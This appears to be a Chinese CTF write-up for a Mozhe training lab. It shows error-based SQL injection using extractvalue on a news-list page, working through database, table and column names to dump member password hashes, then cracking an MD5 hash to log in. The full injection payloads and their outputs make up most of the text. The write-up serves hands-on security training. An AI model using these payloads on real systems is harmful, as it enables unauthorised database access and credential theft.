0x00前言
本来是不想发的 因为这个 毫无过滤 但是 感觉写的蛮清楚的 所以就在这里发一下
0x01正文
这题思路还是很清晰的 就是sql的报错注入
首先 到页面 输入 ' 有报错的回显
有两种办法可以进行报错注入 一种是extractvalue 还有一种就是 uploadvalue 两种都是可以的 就是有一些细微的差别而已
1 爆数据库
/new_list.php?id=1' and extractvalue(1,concat(1,database()))--+
XPATH syntax error: 'stormgroup'
所以数据库是 stormgroup
2 查询当前数据库中的数据表
/new_list.php?id=1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
XPATH syntax error: 'member,notice'
发现有两张表 一个是member 一个是notice 比较明显我们想要获取用户和密码应该是在member这张表中
3 查询member 数据表中的字段
/new_list.php?id=1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='member')))--+
XPATH syntax error: 'name,password,status'
4 查询字段的数值获取登陆密码
/new_list.php?id=1' and extractvalue(1,concat(1,(select password from stormgroup.member limit 0,1)))--+
XPATH syntax error: 'b433dece9180717f2b7de56b28a3'
/new_list.php?id=1' and extractvalue(1,concat(1,(select password from stormgroup.member limit 1,1)))--+
XPATH syntax error: 'ef9e3838990f894c2bb72aa017ad1c3f'
综上所述应该看出来了 第一个密码的位数是不够的 所以用第二个进行解密 md5 解密 607719
用户名只要把 password 改成 name 就可以了
所以最后 mozhe 607719 登陆成功 得到了key
题目出处 https://www.mozhe.cn/bug/detail/Ri9CaDcwWVl3Wi81bDh3Ulp0bGhOUT09bW96aGUmozhe